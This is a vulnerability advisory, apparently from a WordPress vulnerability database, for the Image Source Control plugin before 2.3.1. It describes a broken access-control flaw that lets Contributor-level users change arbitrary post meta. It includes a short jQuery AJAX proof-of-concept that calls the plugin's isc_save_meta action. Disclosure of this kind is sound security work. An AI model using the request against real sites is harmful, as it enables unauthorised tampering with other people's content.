WordPress Plugin Vulnerabilities

Image Source Control < 2.3.1 - Contributor+ Arbitrary Post Meta Value Change

Description

The plugin allows users with a role as low as Contributor to change arbitrary post meta fields of arbitrary posts (even those they should not be able to edit)

Proof of Concept

Run while in the Post/Page editor as a contributor

jQuery.post(ajaxurl,{
action: "isc_save_meta",
nonce: iscData.nonce,
id:781,
key: "metadata_change_poc",
value: "meta changed"
})

Affects Plugins

References

Classification

Type
ACCESS CONTROLS
CWE

Miscellaneous

Original Researcher
apple502j
Submitter
apple502j
Verified
Yes

Timeline

Publicly Published
2021-10-04 (about 2 years ago)
Added
2021-10-04 (about 2 years ago)
Last Updated
2022-04-15 (about 2 years ago)

Other